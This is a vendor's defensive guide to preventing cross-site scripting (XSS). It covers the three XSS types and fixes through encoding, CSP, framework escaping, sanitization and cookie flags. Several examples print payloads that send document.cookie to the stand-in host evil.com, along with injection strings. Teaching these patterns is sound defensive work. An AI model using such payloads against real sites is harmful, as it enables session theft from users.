AI QA Monkey
AI Security Intelligence
OWASP

How to Prevent Cross-Site Scripting (XSS) — Fix Guide

Cross-Site Scripting (XSS) is the most common web application vulnerability, found in over 53% of web applications according to OWASP. It's ranked A03:2021 in the OWASP Top 10 under "Injection." A successful XSS attack allows an attacker to execute arbitrary JavaScript in a victim's browser — stealing session tokens, capturing keystrokes, redirecting to phishing sites, or defacing pages.

In our analysis of 50,000+ scans on AI QA Monkey, 34% of websites had at least one XSS indicator — most commonly missing Content-Security-Policy headers and reflected user input without encoding.

What Is Cross-Site Scripting (XSS)?

XSS occurs when an application includes untrusted data in a web page without proper validation or encoding. The browser cannot distinguish between the application's legitimate scripts and the attacker's injected code.

<!-- Vulnerable: User input rendered directly in HTML -->
<p>Welcome, <?php echo $_GET['name']; ?></p>

<!-- Attacker sends: ?name=<script>document.location='https://evil.com/steal?c='+document.cookie</script> -->

<!-- Result: The script executes in the victim's browser, stealing their session cookie -->

The 3 Types of XSS

1. Reflected XSS HIGH

The malicious script is part of the request (URL parameter, form input) and is immediately reflected back in the response. The attacker tricks the victim into clicking a crafted link.

# Attack URL:
https://example.com/search?q=<script>alert(document.cookie)</script>

# If the search page renders the query without encoding:
<p>Results for: <script>alert(document.cookie)</script></p>

2. Stored XSS CRITICAL

The malicious script is permanently stored on the server (database, comment field, forum post). Every user who views the page executes the script — no special link required.

# Attacker posts a comment containing:
<img src=x onerror="fetch('https://evil.com/steal?c='+document.cookie)">

# Every user who views the comment page has their cookies stolen

3. DOM-Based XSS HIGH

The vulnerability exists entirely in client-side JavaScript. The server never sees the malicious payload — it's processed by the browser's DOM.

// Vulnerable JavaScript
document.getElementById('output').innerHTML = location.hash.substring(1);

// Attack URL:
// https://example.com/page#<img src=x onerror=alert(1)>

Fix #1: Output Encoding (Primary Defense)

Output encoding converts special characters into their safe HTML entity equivalents. This is the most important XSS defense — encode all user-supplied data before rendering it in HTML.

PHP

// SECURE — HTML entity encoding
echo htmlspecialchars($userInput, ENT_QUOTES, 'UTF-8');

// For JavaScript context
echo json_encode($userInput, JSON_HEX_TAG | JSON_HEX_APOS | JSON_HEX_QUOT | JSON_HEX_AMP);

// For URL context
echo urlencode($userInput);

Node.js / Express

// Using a template engine with auto-escaping (EJS, Pug, Handlebars)
// EJS auto-escapes with <%= %> (NOT <%- %> which is unescaped)
<p>Welcome, <%= username %></p>

// Manual encoding
const he = require('he');
const safe = he.encode(userInput);

// Or use the built-in escape
function escapeHtml(str) {
  return str.replace(/[&<>"']/g, char => ({
    '&': '&amp;', '<': '&lt;', '>': '&gt;',
    '"': '&quot;', "'": '&#39;'
  }[char]));
}

Python (Django / Jinja2)

# Django templates auto-escape by default
{{ user_input }}  {# Automatically escaped #}

# To explicitly escape in Python code
from django.utils.html import escape
safe_output = escape(user_input)

# Jinja2 also auto-escapes by default
{{ user_input }}  {# Escaped #}
{{ user_input | e }}  {# Explicitly escaped #}

Fix #2: Content-Security-Policy

CSP is the most powerful defense-in-depth measure against XSS. Even if an attacker finds an injection point, CSP prevents the injected script from executing.

Strict CSP with Nonces

# Generate a random nonce per request (server-side)
Content-Security-Policy: script-src 'nonce-abc123RandomValue' 'strict-dynamic'; object-src 'none'; base-uri 'self';

# In your HTML, add the nonce to legitimate scripts:
<script nonce="abc123RandomValue">
  // This script runs because it has the correct nonce
</script>

# Injected scripts without the nonce are blocked:
<script>alert('XSS')</script>  <!-- BLOCKED by CSP -->

CSP Implementation (Apache)

# .htaccess — Strict CSP
Header always set Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline' https://cdn.jsdelivr.net; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self' https://fonts.gstatic.com; object-src 'none'; base-uri 'self'; frame-ancestors 'self';"

Fix #3: Framework-Specific Protections

React

// React auto-escapes JSX expressions — this is SAFE:
function Welcome({ name }) {
  return <p>Hello, {name}</p>;  // Auto-escaped
}

// DANGER — dangerouslySetInnerHTML bypasses escaping:
// NEVER use with user input
<div dangerouslySetInnerHTML={{ __html: userInput }} />  // VULNERABLE

// If you must render HTML, sanitize first:
import DOMPurify from 'dompurify';
<div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(userInput) }} />

Angular

<!-- Angular auto-escapes interpolation — this is SAFE: -->
<p>Hello, {{ username }}</p>

<!-- DANGER — bypassSecurityTrustHtml disables escaping -->
<!-- Never use with user input -->

<!-- Angular's built-in sanitizer handles [innerHTML]: -->
<div [innerHTML]="userContent"></div>  <!-- Sanitized by Angular -->

Vue.js

<!-- Vue auto-escapes {{ }} — this is SAFE: -->
<p>Hello, {{ username }}</p>

<!-- DANGER — v-html renders raw HTML: -->
<div v-html="userInput"></div>  <!-- VULNERABLE -->

<!-- Sanitize before using v-html: -->
<div v-html="sanitize(userInput)"></div>

Fix #4: DOM Sanitization

When you must render user-supplied HTML (rich text editors, markdown), use a sanitization library:

// DOMPurify — the gold standard for HTML sanitization
import DOMPurify from 'dompurify';

// Basic sanitization
const clean = DOMPurify.sanitize(dirtyHTML);

// Strict: only allow specific tags
const clean = DOMPurify.sanitize(dirtyHTML, {
  ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br'],
  ALLOWED_ATTR: ['href', 'title']
});

Dangerous DOM APIs to Avoid

// NEVER use these with user input:
element.innerHTML = userInput;        // XSS
element.outerHTML = userInput;        // XSS
document.write(userInput);            // XSS
element.insertAdjacentHTML(pos, userInput); // XSS

// SAFE alternatives:
element.textContent = userInput;      // Safe — treats as text
element.setAttribute('value', userInput); // Safe for most attributes
// But NOT safe for: href, src, onclick, onload, style

Fix #5: Secure Cookie Flags

Even if XSS occurs, secure cookie flags limit the damage:

# Set these flags on all session cookies:
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict; Path=/

# HttpOnly  — JavaScript cannot access the cookie (prevents theft via XSS)
# Secure    — Cookie only sent over HTTPS
# SameSite  — Cookie not sent with cross-site requests (prevents CSRF)

# PHP
session_set_cookie_params([
    'httponly' => true,
    'secure' => true,
    'samesite' => 'Strict'
]);

# Express.js
app.use(session({
    cookie: { httpOnly: true, secure: true, sameSite: 'strict' }
}));

How to Detect XSS Vulnerabilities

Use AI QA Monkey's free security scanner to check for XSS indicators including missing CSP headers, reflected input, and insecure cookie flags.

# Search your codebase for dangerous patterns:

# PHP — unescaped output
grep -rn 'echo \$_' --include="*.php" .
grep -rn '<?=' --include="*.php" .

# JavaScript — innerHTML with user data
grep -rn 'innerHTML' --include="*.js" .
grep -rn 'document.write' --include="*.js" .
grep -rn 'dangerouslySetInnerHTML' --include="*.jsx" --include="*.tsx" .

# Template engines — unescaped output
grep -rn '{{{' --include="*.hbs" .          # Handlebars unescaped
grep -rn '<%-' --include="*.ejs" .          # EJS unescaped
grep -rn 'v-html' --include="*.vue" .

Check Your Site for XSS Indicators

Free scan — checks CSP headers, reflected input, cookie flags, and 40+ security issues.

Scan Your Site Now

Frequently Asked Questions

What is cross-site scripting (XSS)?

XSS is a vulnerability where an attacker injects malicious JavaScript into a web page that executes in other users' browsers. It can steal session cookies, redirect to phishing sites, modify page content, or capture keystrokes.

What are the three types of XSS?

Reflected XSS: script reflected from a URL parameter. Stored XSS: script permanently stored in a database. DOM-based XSS: vulnerability in client-side JavaScript processing untrusted data.

How does Content-Security-Policy prevent XSS?

CSP tells the browser which sources of JavaScript are allowed to execute. By restricting script-src to trusted domains and using nonces, CSP blocks injected scripts from running — even if an attacker finds an injection point.

Check Your Website Right Now

Run a free automated security scan — 75 checks in 60 seconds. No signup required.

Run Free Security Scan →